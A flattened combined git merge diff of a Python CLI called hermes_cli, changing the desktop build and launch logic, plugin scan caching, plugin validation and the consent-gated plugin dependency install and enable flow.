hermes_cli.main import PROJECT_ROOT- from hermes_cli.main_web_build import _run_npm_install_deterministic- from hermes_constants import with_hermes_node_path- print("→ Installing desktop workspace dependencies...")- # Managed Node on PATH so npm's child scripts that shell out to bare `node`- # (e.g. electron-winstaller's select-7z-arch.js) resolve it even when the- # desktop updater chain lost shell PATH customizations. Wrapping the NixOS- # env keeps its PYTHON hint while restoring managed Node ahead of PATH.- nixos_env = with_hermes_node_path(_nixos_build_env())- install_result = _run_npm_install_deterministic(npm, PROJECT_ROOT, capture_output=False, env=nixos_env)- if install_result.returncode == 0:- return- if not _electron_pkg_staged_missing_dist(PROJECT_ROOT):- print(f"✗ Desktop dependency install failed\n Run manually: cd {PROJECT_ROOT} && npm ci")- sys.exit(install_result.returncode or 1)- if _try_redownload_electron_dist(PROJECT_ROOT, env):- print(" ⚠ Dependency install failed with a missing Electron dist; "- "repopulated it and continuing.")- else:- print(" ⚠ Dependency install failed with a missing Electron dist; "- "continuing to the build so electron-builder can attempt "- "the Electron fetch itself.")---def _run_desktop_pack_with_recovery(- desktop_dir: Path, build_cmd: list[str], npm_build_env: dict, env: dict, staging_dir: Optional[Path]-) -> subprocess.CompletedProcess:- """Run the desktop build; a packaged build with NO staged exe retries after an Electron re-download, then via mirror.-- A MISSING exe is the signature of the corrupt-download class; a late failure- (e.g. macOS signing) leaves it in place and a redownload retry would only- repeat the same slow failure.- """- from hermes_cli.main import PROJECT_ROOT- def _staged_exe() -> Optional[Path]:- return _desktop_packaged_executable_in(staging_dir) if staging_dir else None-- def _pack(run_env: dict) -> subprocess.CompletedProcess:- return subprocess.run(build_cmd, cwd=desktop_dir, env=run_env, check=False)-- build_result = _pack(npm_build_env)- if build_result.returncode != 0 and staging_dir is not None and _staged_exe() is None:- # Corrupt cached Electron zip → partial unpack → ENOENT on rename. stdlib zipfile won't catch the- # common concat-junk case, so purge and retry once; @electron/get SHASUM is the real gate. Gate on a- # MISSING packaged executable: that is the signature of the corrupt-download class this recovery- # exists for. A late failure such as macOS code signing leaves the executable in place —- # redownloading Electron can't repair it, so the purge + retry would only add another slow,- # identical failure (#40187).- purged: list[Path] = []- restored = False- if not _electron_dist_ok(PROJECT_ROOT):- purged = _purge_electron_build_cache(desktop_dir, release_dir=staging_dir)- restored = _redownload_electron_dist(PROJECT_ROOT, env)- if restored:- print(" ⚠ Desktop build failed; refreshed the Electron download and retrying once...")- for p in purged:- print(f" - {p}")- # The purge can't remove a win-unpacked tree whose Hermes.exe is- # still locked by a running instance; stop it before retry.- _stop_desktop_processes_locking_build(desktop_dir)- build_result = _pack(npm_build_env)- if (- build_result.returncode != 0- and staging_dir is not None- and not env.get("ELECTRON_MIRROR")- and _staged_exe() is None):- print(" ⚠ Desktop build still failing; the Electron download from "- "GitHub looks blocked. Re-downloading via a public mirror "- "(npmmirror.com)... (set ELECTRON_MIRROR to use another mirror)")- mirror_env = {**npm_build_env, "ELECTRON_MIRROR": _ELECTRON_FALLBACK_MIRROR}- if not _electron_dist_ok(PROJECT_ROOT):- _redownload_electron_dist(PROJECT_ROOT, env, mirror=_ELECTRON_FALLBACK_MIRROR)- _stop_desktop_processes_locking_build(desktop_dir)- build_result = _pack(mirror_env)- return build_result---def _promote_staged_desktop_app(desktop_dir: Path, staging_dir: Path) -> Path:- """Sign + integrity-gate the STAGED pack, then swap it over the live app. Exits (live app kept) on failure."""+def _promote_staged_desktop_app(+ desktop_dir: Path, staging_dir: Path, *,+ integrity_check: Optional[Callable[[Path], Optional[str]]] = None,+) -> Path:+ """Sign and verify before swapping; the default integrity check is Windows PE validation."""staged_executable = _desktop_packaged_executable_in(staging_dir)# Locally-built apps are ad-hoc signed; make them relaunchable after an# in-place self-update. Signs the STAGED bundle so the live app is never@@@ -1226,31 -1539,33 +1236,36 @@@ def cmd_gui(args: argparse.Namespace)force_build or _desktop_build_needed(desktop_dir, PROJECT_ROOT, source_mode=source_mode))npm = None- if source_mode or needs_build:- npm = _resolve_node_runtime_npm()- if not npm:- print("Desktop GUI requires Node.js/npm, but npm was not found on PATH.")- print("Install Node.js, then run: hermes gui")- sys.exit(1)-- if skip_build:- _check_desktop_skip_build(- desktop_dir, PROJECT_ROOT, source_mode=source_mode, packaged_executable=packaged_executable- )- elif needs_build:- # --force-build overrides the content-hash stamp and always rebuilds.- built = _build_desktop_app(desktop_dir, source_mode=source_mode, npm=npm, env=env)- if not source_mode:- packaged_executable = built- else:- build_label = "source build" if source_mode else "packaged app"- desktop_launch_notice(f"✓ Desktop {build_label} is up to date (content stamp matches)", source_mode=source_mode)+ try:+ if needs_build:+ build_env = source_build_env(env, explicit=force_build or getattr(args, "build_only", False))+ npm = shutil.which("npm", path=build_env["PATH"])+ env["PATH"] = build_env["PATH"]+ if skip_build:+ _check_desktop_skip_build(+ desktop_dir, PROJECT_ROOT, source_mode=source_mode, packaged_executable=packaged_executable+ )+ elif needs_build:+ prepare_source_dependencies(PROJECT_ROOT, ("ui-tui", "web", "apps/desktop"), env=build_env,+ explicit=force_build or getattr(args, "build_only", False))+ built = build_prepared_desktop(desktop_dir, source_mode=source_mode, npm=npm, env=build_env,+ explicit=force_build or getattr(args, "build_only", False))+ if not source_mode:+ packaged_executable = built+ else:+ build_label = "source build" if source_mode else "packaged app"- print(f"✓ Desktop {build_label} is up to date (content stamp matches)")++ desktop_launch_notice(f"✓ Desktop {build_label} is up to date (content stamp matches)", source_mode=source_mode)+ except (OSError, subprocess.SubprocessError, RuntimeError) as exc:+ print(f"✗ Desktop GUI build failed: {exc}")+ raise SystemExit(1) from exc# Best-effort and idempotent; a failure must never stop the app from launching.- _register_linux_desktop_entry()+ # An app-grid launch (DESKTOP_STARTUP_ID) must not write its own entry while the+ # shell still has the app in STARTING, so it defers the write until Electron+ # reports the window on screen (#111906). --build-only spawns no app: write now.+ from hermes_cli.linux_desktop_entry import launched_from_shell+ build_only = bool(getattr(args, "build_only", False))+ deferred_entry = _register_linux_desktop_entry(defer=launched_from_shell() and not build_only)# --build-only: produce the artifact but do NOT launch. The installer's# --update flow drives the rebuild headlessly and launches the desktop@@@ -1294,68 -1599,15 +1309,77 @@@if getattr(args, "local", False):launch_command.append("--local")if not source_mode:- print(f"→ Launching packaged Hermes Desktop: {' '.join(launch_command)}")- launch_result = subprocess.run(launch_command, cwd=desktop_dir, env=env, check=False)+ desktop_launch_notice(f"→ Launching packaged Hermes Desktop: {' '.join(launch_command)}")+ pass_fds: tuple[int, ...] = ()+ if deferred_entry is not None:+ env = deferred_entry.child_env(env)+ pass_fds = deferred_entry.pass_fds+ with desktop_console_output(source_mode=source_mode) as streams:+ launch_result = subprocess.run(+ launch_command, cwd=desktop_dir, env=env, check=False, pass_fds=pass_fds, **streams+ )+ if deferred_entry is not None:+ deferred_entry.finish()sys.exit(launch_result.returncode)+++def _launch_bundled_desktop(+ args: argparse.Namespace, env: dict, electron_flags: list[str]+) -> None:+ """Start the desktop app this CLI ships inside, then exit.++ A bundled install has no source tree to build: the app is a signed,+ read-only artifact and this Python is a passenger in its resources.+ So the whole build ladder below is skipped and the launcher is started+ DETACHED — the user ran a CLI command, and the app must outlive the+ terminal it was typed into. The app's own single-instance lock turns a+ second run into "focus the running window".++ Never returns.+ """+ from hermes_cli.bundled_app import NotBundledApp, launch_detached, resolve_bundle_layout+ from hermes_cli.main import PROJECT_ROOT++ refused = [+ flag+ for flag, name in (+ ("--source", "source"),+ ("--build-only", "build_only"),+ ("--force-build", "force_build"),+ )+ if getattr(args, name, False)+ ]+ if refused:+ print(f"✗ {', '.join(refused)} cannot apply to a bundled Hermes install.")+ print(" This app ships prebuilt and has no desktop source tree to build.")+ sys.exit(2)++ try:+ layout = resolve_bundle_layout(PROJECT_ROOT)+ except NotBundledApp as exc:+ # The stamp says bundled, so a tree that is not one is a damaged or+ # mispackaged install. Report it — degrading to the build ladder+ # would run npm inside the app's own resources.+ print(f"✗ This Hermes is stamped as a bundled desktop install, but {exc}.")+ print(" The install is damaged — reinstall Hermes from the website.")+ sys.exit(1)++ if layout.launcher is None:+ print(f"✗ Found no Hermes Desktop launcher in {layout.app_root}.")+ print(" The install is damaged — reinstall Hermes from the website.")+ sys.exit(1)++ launch_command = [str(layout.launcher)]+ if not _desktop_linux_sandbox_fixup(layout.launcher):+ if _desktop_linux_needs_no_sandbox() and _desktop_linux_sandbox_helper_is_regular_file(layout.launcher):+ print("⚠ Falling back to --no-sandbox because this Linux host restricts unprivileged user namespaces and the Electron sandbox helper could not be configured.")+ launch_command.append("--no-sandbox")+ else:+ sys.exit(1)++ launch_command.extend(electron_flags)+ pid = launch_detached(launch_command, env=env, cwd=layout.app_root)+ print(f"→ Launched Hermes Desktop: {' '.join(launch_command)} (pid {pid})")+ sys.exit(0)++diff --cc hermes_cli/main_tui_launch.pyindex aa7725df541,4dc448a60f1..30983fe4405--- a/hermes_cli/main_tui_launch.py+++ b/hermes_cli/main_tui_launch.py@@@ -146,10 -446,19 +146,14 @@@ def _tui_node_bin(bin: str) -> strenv_node = os.environ.get("HERMES_NODE")if env_node and os.path.isfile(env_node) and os.access(env_node, os.X_OK):return env_node- from hermes_constants import find_node_executable- path = find_node_executable(bin)- if not path and bin == "node":- with contextlib.suppress(Exception):- from hermes_cli.dep_ensure import ensure_dependency- if ensure_dependency("node"):- path = find_node_executable("node")+ from pm import ensure+ path = shutil.which(bin, path=ensure(bin).env["PATH"])if not path:- print(f"{bin} not found — install Node.js to use the TUI.")+ print(+ f"Node.js is required for the TUI but `{bin}` was not found. Install it from "+ "https://nodejs.org (run `hermes doctor` for the install hint for your OS), then "+ "retry `hermes --tui`. To keep working now, run `hermes --cli`."+ )sys.exit(1)return pathdiff --cc hermes_cli/managed_scope.pyindex 8bac4f84511,0f27db37748..8832e1f2c09--- a/hermes_cli/managed_scope.py+++ b/hermes_cli/managed_scope.py@@@ -15,8 -15,10 +15,10 @@@ import threadinfrom pathlib import Pathfrom typing import Dict, Optional-import yaml+import hermes_yaml as yaml+ from utils import file_signature+logger = logging.getLogger(__name__)# POSIX default. Other-platform locations belong ONLY inside get_managed_dir().diff --cc hermes_cli/plugin_compat.pyindex 4c50ad2de42,b726988582c..64c6a27c083--- a/hermes_cli/plugin_compat.py+++ b/hermes_cli/plugin_compat.py@@@ -149,17 -149,52 +149,52 @@@ def scan_source(src: str, rel: str, manreturn sorted(set(hits), key=lambda h: (h.file, h.line, h.old))+ _scan_lock = threading.Lock()+ _scan_cache: Dict[str, Tuple[Tuple[Tuple[str, int, int], ...], List[Hit]]] = {}+++ def _plugin_dir_signature(plugin_dir: Path) -> Tuple[Tuple[str, int, int], ...]:+ """``(relpath, mtime_ns, size)`` of every ``.py`` under the plugin — the cache key for a scan.+ A stat walk costs ~1 ms; the AST scan it replaces costs ~10 ms per file."""+ sig = []+ for p in _iter_py(plugin_dir):+ try:+ st = p.stat()+ except OSError:+ continue+ sig.append((str(p.relative_to(plugin_dir)), st.st_mtime_ns, st.st_size))+ return tuple(sorted(sig))++def scan_plugin(plugin_dir: Optional[Path], manifest: Optional[Dict[str, Dict[str, str]]] = None) -> List[Hit]:- manifest = load_manifest() if manifest is None else manifest+ """Hits for one plugin directory. With the default manifest the result is cached process-wide+ on the directory's file signature: a multiplex gateway discovers plugins once per served+ profile, and re-parsing every plugin's source per profile was ~0.4s × profiles on the boot path."""+ loaded = load_manifest()+ manifest = loaded if manifest is None else manifest+ cacheable = manifest is loadedif not manifest or not plugin_dir or not Path(plugin_dir).is_dir():return []+ plugin_dir = Path(plugin_dir)+ key = str(plugin_dir.resolve(strict=False))+ signature = _plugin_dir_signature(plugin_dir) if cacheable else ()+ if cacheable:+ with _scan_lock:+ cached = _scan_cache.get(key)+ if cached is not None and cached[0] == signature:+ return list(cached[1])hits: List[Hit] = []- for p in _iter_py(Path(plugin_dir)):+ for p in _iter_py(plugin_dir):try:- src = p.read_text(encoding="utf-8", errors="replace")+ src = p.read_text(encoding="utf-8-sig", errors="replace")except OSError:continue+ # POSIX form on every OS: notices/reports compare and dedupe on this string, and the+ # compat tests pin ``sub/m.py`` — native Windows otherwise records ``sub\m.py`` (#112576).hits += scan_source(src, p.relative_to(plugin_dir).as_posix(), manifest)+ if cacheable:+ with _scan_lock:+ _scan_cache[key] = (signature, list(hits))return hitsdiff --cc hermes_cli/plugin_validate.pyindex e5412c64a0c,77d1f04f7c6..5a2fc657ca4--- a/hermes_cli/plugin_validate.py+++ b/hermes_cli/plugin_validate.py@@@ -455,6 -516,71 +516,64 @@@ def validate_plugin_dir(plugin_dir: Patreturn report+ _LOADABLE_ENTRYPOINTS = ("__init__.py", "desktop/plugin.js", "plugin.json")+++ def _check_loadable(report: ValidationReport, plugin_dir: Path) -> None:+ """A plugin.yaml with nothing beside it that Hermes can load (no ``register()`` module, no+ desktop bundle, no portable manifest) installs "successfully" and does nothing — a pip-layout+ repo whose code lives under ``src/`` behind an entry point is the usual shape."""+ present = [rel for rel in _LOADABLE_ENTRYPOINTS if (plugin_dir / rel).is_file()]+ report.add(+ "loadable", bool(present),+ f"entry: {', '.join(present)}" if present else+ "nothing to load: no __init__.py, desktop/plugin.js or plugin.json beside plugin.yaml "+ "(pip-layout packages need a directory-plugin wrapper with a pyproject.toml declaring the deps)",+ )+++ def _check_python_dependencies(report: ValidationReport, plugin_dir: Path) -> None:+ """Declared deps (pyproject ``[project].dependencies`` or manifest ``python_dependencies``) must be+ well-formed PEP 508 specs the installer will accept; a plugin opting out with+ ``python_runtime: external`` declares none."""- from hermes_cli.plugin_python_deps import read_declaration++ from pm.plugin_declarations import read_python_declaration, unsupported_requirements++ try:- decl = read_declaration(plugin_dir)- except Exception as exc:++ decl = read_python_declaration(plugin_dir)++ if decl.external:++ report.add("python dependencies", True, "external runtime (plugin manages its own)")++ return++ urls = unsupported_requirements(decl.requirements)++ installable = decl.install_requirements++ except (ValueError, OSError) as exc:+ report.add("python dependencies", False, f"declaration invalid: {exc}")+ return- if decl.external:- report.add("python dependencies", True, "external runtime (plugin manages its own)")- return- from hermes_cli.plugin_python_deps import applicable_specs, unsupported_specs-- urls = unsupported_specs(decl.specs)+ if urls:- report.warn("python dependencies: direct URL requirement(s) are never auto-installed, users must "- f"install them by hand: {', '.join(urls)}")- installable = applicable_specs(decl.specs)- rejected = [s for s in installable if not _spec_is_safe(s)]- detail = f"{len(installable)} installable from {decl.source}" if decl.source else "none declared"- report.add("python dependencies", not rejected,- f"unsafe spec(s): {', '.join(rejected)}" if rejected else detail)---def _spec_is_safe(spec: str) -> bool:- from tools.lazy_deps import _spec_is_safe as safe- return safe(spec)++ report.warn("python dependencies: direct URL requirement(s) are not managed by PM; "++ f"use a plugin-owned external runtime: {', '.join(urls)}")++ source = "pyproject" if decl.pyproject is not None else "manifest"++ detail = f"{len(installable)} requirements from {source}" if decl.requirements else "none declared"++ report.add("python dependencies", True, detail)+++++ def _check_security_scan(report: ValidationReport, plugin_dir: Path) -> None:+ """Run the install-time scanner at admission, so a pin a reviewer approves is one the+ installer will accept: ``dangerous`` fails the entry; ``caution`` findings surface as+ warnings for the reviewer (the installer trusts them once the pin is merged)."""+ from tools.plugin_guard import scan_plugin++ result = scan_plugin(plugin_dir)+ flagged = [f for f in result.findings if f.severity in ("critical", "high")]+ summary = ", ".join(sorted({f"{f.pattern_id} ({Path(f.file).name}:{f.line})" for f in flagged})) or "no findings"+ if result.verdict == "dangerous":+ report.add("security scan", False, f"dangerous: {summary}")+ return+ report.add("security scan", True, result.verdict)+ if result.verdict == "caution":+ report.warn(f"security scan caution: {summary}")++def _validate_portable_plugin(report: ValidationReport, plugin_dir: Path) -> ValidationReport:"""Admission checks for a portable Agent Plugins v1 (plugin.json) package.diff --cc hermes_cli/plugins_cmd.pyindex 841f36f4216,6c9880c8316..c4bcdcbfeac--- a/hermes_cli/plugins_cmd.py+++ b/hermes_cli/plugins_cmd.py@@@ -337,96 -342,48 +344,107 @@@ def _missing_env_specs(manifest: dict)return [s for s in env_specs if not get_env_value(s["name"])]- # MERGE-CHECK: kept our pm-era _install_plugin_python_deps over upstream's print-only #64165 variant (pm wiring wins)-def _refuse_conflicting_python_deps(tmp_target: Path, plugin_name: str) -> None:- """Dependency pre-check on the staged tree: a conflict with core or an enabled plugin refuses the- install before anything is moved into place (nothing installed, nothing disabled)."""- from hermes_cli.plugin_python_deps import DependencyConflict, refuse_conflicting_candidate+def _install_plugin_python_deps(+ manifest: dict, target: Path, console+) -> tuple[bool, Optional[str]]:+ """Consent gate for plugin python deps (settled 2026-09-02; C13 rework).++ Node sidecar: y/n prompt → ``npm ci`` into the plugin's OWN+ node_modules (separate question, failure never blocks enable).+ Python deps: NO resolution here — the resolve runs inside the ONE+ admission transaction when the enable commits+ (:func:`_admit_and_save_plugin_sets`), so the environment and the+ config always change together or not at all. Returns (consented,+ reason): consented=True when the user accepted (or no prompt was+ needed); a decline/skip returns False and NOTHING is installed.+ Never raises — the caller keeps the plugin installed-but-disabled.+ """+ from pm.plugin_declarations import read_python_declaration+- declaration = read_python_declaration(target)- deps = declaration.requirements- has_pyproject = declaration.pyproject is not None+ try:- refuse_conflicting_candidate(tmp_target, home=get_hermes_home())- except DependencyConflict as exc:- raise PluginOperationError(- f"Plugin '{plugin_name}' was not installed: {exc}\n"- "The plugin author should relax that requirement. To install the plugin anyway and manage "- "its Python packages yourself: hermes plugins install <identifier> --no-deps") from exc- except ValueError as exc:- raise PluginOperationError(f"Plugin '{plugin_name}' was not installed: {exc}") from exc++ declaration = read_python_declaration(target)++ deps = declaration.install_requirements++ except Exception as exc:++ return False, f"invalid Python dependency declaration: {exc}"++ has_python = declaration.is_member+ has_package_json = (target / "package.json").is_file()- if not deps and not has_pyproject and not has_package_json:++ if not has_python and not has_package_json:+ return True, None # no declared deps at all++ # Node sidecar (package.json): the npm ci executor — separate consent+ # question, same try-then-enable posture. Failure never blocks the+ # python path below.+ node_reason = None+ if has_package_json:+ console.print(f"\n[bold]{manifest.get('name', 'this plugin')}[/bold] declares Node dependencies (package.json).")+ if sys.stdin.isatty() and sys.stdout.isatty():+ try:+ node_answer = input(+ " Install them into the plugin's own node_modules now? [y/N]: "+ ).strip().lower()+ except (EOFError, KeyboardInterrupt):+ node_answer = ""+ else:+ node_answer = ""+ if node_answer in {"y", "yes"}:+ from pm.workspace import install_node_sidecar+ node_reason = install_node_sidecar(target, explicit=True)+ if node_reason:+ console.print(f"[yellow]⚠[/yellow] Node deps: {node_reason}")+ else:+ console.print("[dim]Skipped Node deps — run `hermes plugins install` again to retry.[/dim]\n")- if not deps and not has_pyproject:-def _install_python_dependencies_quietly(target: Path, warnings: list[str]) -> list[str]:- """Dashboard variant: install, append a failure to *warnings*, return the applicable specs."""- from hermes_cli.plugin_python_deps import install_for_plugin_dir- outcome = install_for_plugin_dir(target)- if outcome.status in ("failed", "invalid"):- warnings.append(outcome.message)- return list(outcome.specs)++ if not has_python:+ return True, None+ plugin_name = manifest.get("name", "this plugin")+ console.print(+ f"\n[bold]{plugin_name}[/bold] declares Python dependencies:"+ )+ if deps:+ for dep in deps:+ console.print(f" - {dep}")+ else:+ console.print(" - (declared in its pyproject.toml)")- # Non-interactive (pipelines, cron) or a decline → skip the install;- # the plugin still works if the deps happen to be importable.-def _install_python_dependencies_for_key(key: str, console) -> None:- """``plugins enable`` variant: a user plugin enabled after a bare install gets its deps now."""- entry = _find_plugin_entry(key)- if entry is not None and entry[4]:- _install_python_dependencies(Path(entry[4]), console)++ # A decline or non-interactive invocation leaves the new plugin disabled.+ if not (sys.stdin.isatty() and sys.stdout.isatty()):+ console.print(+ "[dim]Non-interactive install — skipping dependency install. "- "Run `hermes pm install` after enabling if the plugin needs "- "them.[/dim]\n"++ "Run `hermes plugins enable` when ready to prepare them.[/dim]\n"+ )+ return False, "dependency install skipped (non-interactive)"+ try:+ answer = input(- " Install these into the Hermes venv now? [y/N]: "++ " Prepare these with Hermes through PM now? [y/N]: "+ ).strip().lower()+ except (EOFError, KeyboardInterrupt):+ answer = ""+ if answer not in {"y", "yes"}:+ console.print(- "[dim]Skipped — run `hermes pm install` later to install "- "them.[/dim]\n"++ "[dim]Skipped — run `hermes plugins enable` when ready "++ "to prepare them.[/dim]\n"+ )+ return False, "dependency install declined"+ # Consent only — the python-deps resolution itself runs inside the ONE+ # admission transaction at enable-commit time (C13): env + config move+ # together or not at all.+ return True, None-def _install_python_dependencies(target: Path, console, *, skip: bool = False) -> None:- """Install the plugin's declared Python deps (pyproject ``[project].dependencies`` or manifest- ``python_dependencies``) into the venv and report; the plugin stays installed on failure."""- from hermes_cli.plugin_python_deps import install_for_plugin_dir- outcome = install_for_plugin_dir(target) if not skip else None- if outcome is None or outcome.status == "none":- return- style = {"installed": "green", "failed": "yellow", "invalid": "yellow"}[outcome.status]- console.print(f"[{style}]{'✓' if outcome.status == 'installed' else '⚠'}[/{style}] {outcome.message}")+++def _python_dependency_summary(target: Path, warnings: list[str]) -> list[str]:++ """Read dashboard dependency details; publication and admission own installation."""++ from pm.plugin_declarations import read_python_declaration++++ try:++ return list(read_python_declaration(target).install_requirements)++ except Exception as exc:++ warnings.append(f"Could not read Python dependencies: {exc}")++ return []++def _prompt_plugin_env_vars(manifest: dict, console) -> None:"""Prompt for unset ``requires_env`` variables and save the answers to the user's ``.env``."""missing = _missing_env_specs(manifest)@@@ -665,15 -639,78 +698,58 @@@ def _read_manifest_for_install(plugin_dreturn manifest+ def _probe_readable(path: Path) -> None:+ """Raise ``OSError`` unless *path* can actually be listed (dir) or opened for reading (file)."""+ if path.is_dir():+ os.listdir(path)+ else:+ with open(path, "rb"):+ pass+++ def _ensure_tree_readable(root: Path, plugins_dir: Path) -> None:+ """Refuse to ship a tree Hermes cannot read back. A clone can land unreadable (Windows ACL+ inheritance -> WinError 5, a mode-000 file) and discovery would then skip the plugin forever+ (#111804); repair ``u+rX`` where the OS supports it, otherwise fail before anything moves."""+ paths = [root]+ for dirpath, dirnames, filenames in os.walk(root):+ paths.extend(Path(dirpath) / name for name in (*dirnames, *filenames))+ for path in paths:+ try:+ _probe_readable(path)+ continue+ except OSError:+ if os.name != "nt": # chmod only toggles the read-only bit on Windows; ACLs need icacls+ try:+ os.chmod(path, os.stat(path).st_mode | (0o500 if path.is_dir() else 0o400))+ except OSError:+ pass+ try:+ _probe_readable(path)+ except OSError as exc:+ fix = (f'icacls "{plugins_dir}" /grant:r "%USERNAME%":(OI)(CI)F /T' if os.name == "nt"+ else f"chmod -R u+rX {plugins_dir}")+ raise PluginOperationError(+ f"Installed file {path.relative_to(root)} is not readable ({exc.strerror or exc}); "+ f"nothing was installed. Fix permissions on {plugins_dir} (e.g. `{fix}`) and retry."+ ) from exc++-def _swap_in_plugin(tmp_target: Path, target: Path, backup: Path, old_metadata: dict, new_metadata: dict) -> None:- """Move the validated clone into place and persist metadata; on any failure restore the- previous tree (if one was replaced) and the previous metadata sidecar, then re-raise."""- replaced_existing = target.exists()- if replaced_existing:- os.replace(target, backup)- try:- os.replace(tmp_target, target)- _write_install_metadata(new_metadata)- except Exception:- if target.exists():- shutil.rmtree(target)- if replaced_existing and backup.exists():- os.replace(backup, target)- if old_metadata:- _write_install_metadata(old_metadata)- else:- _install_metadata_path().unlink(missing_ok=True)- raise--def _install_plugin_core(identifier: str,*,force: bool,ref: Optional[str] = None,scan_decision_cb=None,+ catalog_entry=None,+ reviewed_pin: Optional[str] = None,+ python_deps: bool = True,) -> tuple[Path, dict, str]:- """Clone a Git plugin and atomically record its source and exact revision."""+ """Clone a Git plugin and atomically record its source and exact revision.++ *reviewed_pin* is the curated-catalog sha for this install; the scan trusts the tree- only when the checked-out revision is exactly that sha. *python_deps* False skips the- dependency conflict gate (``--no-deps``: the user installs them by hand)."""++ only when the checked-out revision is exactly that sha. *python_deps* False refuses++ active replacements; it never bypasses PM dependency admission."""requested_revision = _normalize_exact_revision(ref) if ref is not None else Nonetry:git_url, subdir = _resolve_git_url(identifier)@@@ -704,7 -742,10 +781,15 @@@raise PluginOperationError(str(e)) from e_check_manifest_version(manifest, plugin_name)# Scan BEFORE anything is moved into place; raises PluginScanBlocked when blocked.- _scan_plugin_tree(tmp_target, identifier, force=force, scan_decision_cb=scan_decision_cb)+ _scan_plugin_tree(tmp_target, identifier, force=force, scan_decision_cb=scan_decision_cb,+ reviewed_pin=bool(reviewed_pin) and installed_revision == reviewed_pin)- if python_deps:- _refuse_conflicting_python_deps(tmp_target, plugin_name)++ if not python_deps:++ from pm.workspace import enabled_plugin_dirs++++ if target.resolve() in enabled_plugin_dirs(installing=target):++ raise PluginOperationError(++ "--no-deps cannot replace an active plugin. Retry without --no-deps; "++ "PM must prepare its dependencies before publication.")if target.exists() and not force:raise PluginOperationError(@@@ -812,54 -837,14 +900,56 @@@ def cmd_installf"[yellow]Warning:[/yellow] {installed_name} doesn't contain plugin.yaml, "f"plugin.json, or __init__.py. It may not be a valid Hermes plugin.")_prompt_plugin_env_vars(installed_manifest, console)- _install_python_dependencies(target, console, skip=no_deps)++ from pm.workspace import enabled_plugin_dirs++ # Active replacements settled consent against the staged tree before PM+ # prepared or published it. Do not present a second, ineffective veto.+ already_active = target.resolve() in enabled_plugin_dirs()- should_enable = enable++ should_enable = False if no_deps else enable++ if no_deps:++ console.print("[dim]--no-deps: skipping dependency consent; the plugin stays disabled.[/dim]")+ if should_enable is None and not already_active:+ should_enable = _is_tty() and _ask_yes(f" Enable '{installed_name}' now? [y/N]: ")+ deps_ok, deps_reason = (True, None)+ if should_enable and not already_active:+ deps_ok, deps_reason = _install_plugin_python_deps(installed_manifest, target, console)+_display_after_install(target, identifier)- if enable is None:- enable = _is_tty() and _ask_yes(f" Enable '{installed_name}' now? [y/N]: ")- if enable:- _set_plugin_enabled(installed_name, enable=True)- console.print(f"[green]✓[/green] Plugin [bold]{installed_name}[/bold] enabled.")+ # ONE admission transaction for the enable (C13): resolve the candidate+ # union (enabled members + this target) and commit the config in the+ # same step — env and config change together or not at all. No+ # duplicate sync here: nothing was resolved before this point.+ if should_enable and not deps_ok:+ # Consent declined/skipped: nothing was installed or changed, so+ # enabling is refused without touching config or environment.+ console.print(+ f"[red]✗[/red] Cannot enable [bold]{installed_name}[/bold]: "+ f"{deps_reason}"+ )+ console.print(+ "[dim]The plugin stays installed but disabled; re-enable "+ "after resolving the conflict.[/dim]"+ )+ should_enable = False++ if already_active:+ console.print("[dim]Replacement installed; plugin selection was not changed.[/dim]")+ elif should_enable:+ from hermes_cli.plugins_admission import AdmissionRefused++ try:+ _set_plugin_enabled(installed_name, enable=True, console=console)+ except AdmissionRefused:+ console.print(+ "[dim]The plugin stays installed but disabled; re-enable "+ "after resolving the conflict.[/dim]"+ )+ else:+ console.print(+ f"[green]✓[/green] Plugin [bold]{installed_name}[/bold] enabled.",+ )else:console.print(f"[dim]Plugin installed but not enabled. "@@@ -938,9 -926,31 +1028,9 @@@ def cmd_update(name: str, *, interactivconsole.print(f"[dim]{out}[/dim]")-def _rescan_after_update(target: Path, name: str, console) -> None:- """Re-scan after ``git pull``: the tree is already mutated, so a dangerous verdict disables- the plugin rather than leaving it active."""- if not _scan_on_install_enabled():- return- from tools.plugin_guard import format_scan_report, scan_plugin, should_allow_plugin_install- scan_result = scan_plugin(target, source=name)- allowed, reason = should_allow_plugin_install(scan_result)- if allowed is True:- return- console.print()- console.print(f"[yellow]⚠ Security scan flagged the updated plugin:[/yellow] {reason}")- console.print(format_scan_report(scan_result))- if scan_result.verdict == "dangerous":- if name in _get_enabled_set() or name not in _get_disabled_set():- _set_plugin_enabled(name, enable=False)- console.print(- f"[red]Plugin '{name}' has been disabled.[/red] Review the "- f"findings, then re-enable with `hermes plugins enable {name}` "- f"if you trust them.")-def _post_pull_housekeeping(target: Path, console) -> None:- """After ``git pull``: drop stale ``__pycache__`` and copy any new ``.example`` files."""- """After ``git pull``: drop stale ``__pycache__``, copy any new ``.example`` files, and install- dependencies the new revision declares (a version bump commonly adds or moves a package)."""++ """After publication: drop stale bytecode and copy any new example files."""# Same stale-bytecode class as the main checkout (#6207/#60242): the pull just changed .py files under# this plugin dir, so drop any __pycache__ compiled from the previous revision._clear_plugin_bytecode(target)@@@ -1368,10 -1354,15 +1458,21 @@@ def _scan_level(base: Path, source: str"""Recursive directory scan matching PluginManager._scan_directory_level."""if not base.is_dir():return-- for d in sorted(base.iterdir()):- if not d.is_dir() or (depth == 0 and skip_names and d.name in skip_names):++ try:++ children = sorted(base.iterdir())++ except OSError as exc:++ logger.warning("Skipping unreadable plugin directory %s: %s", base, exc)++ return++ for d in children:+ try:+ if not d.is_dir() or (depth == 0 and skip_names and d.name in skip_names):+ continue+ info = _read_manifest_info(d, prefix)- except OSError as exc:- # Mirrors scan_directory: an unsearchable plugin dir (WinError 5 / mode 000) is skipped, not fatal.++ except (OSError, PluginOperationError) as exc:++ # The PM declaration reader wraps unreadable manifests for install callers;++ # listing still skips them rather than hiding every other plugin.+ logger.warning("Skipping unreadable plugin directory %s: %s", d, exc)continue- info = _read_manifest_info(d, prefix)if info is None:if depth == 0:_scan_level(d, source, set(), f"{prefix}/{d.name}" if prefix else d.name, 1, seen)@@@ -2040,15 -1848,8 +2141,16 @@@ def dashboard_install_pluginreturn {"ok": False, "error": str(exc)}if enable:- _set_plugin_enabled(installed_name, enable=True)- deps = _install_python_dependencies_quietly(target, warnings)+ from hermes_cli.plugins_admission import AdmissionRefused++ try:+ _set_plugin_enabled(installed_name, enable=True)+ except AdmissionRefused as exc:+ return {+ "ok": False, "error": f"enable refused: {exc}",+ "plugin_name": installed_name, "enabled": False,+ }++ deps = _python_dependency_summary(target, warnings)ap = target / "after-install.md"return {"ok": True, "plugin_name": installed_name, "warnings": warnings,@@@ -2152,7 -1949,10 +2255,10 @@@ def 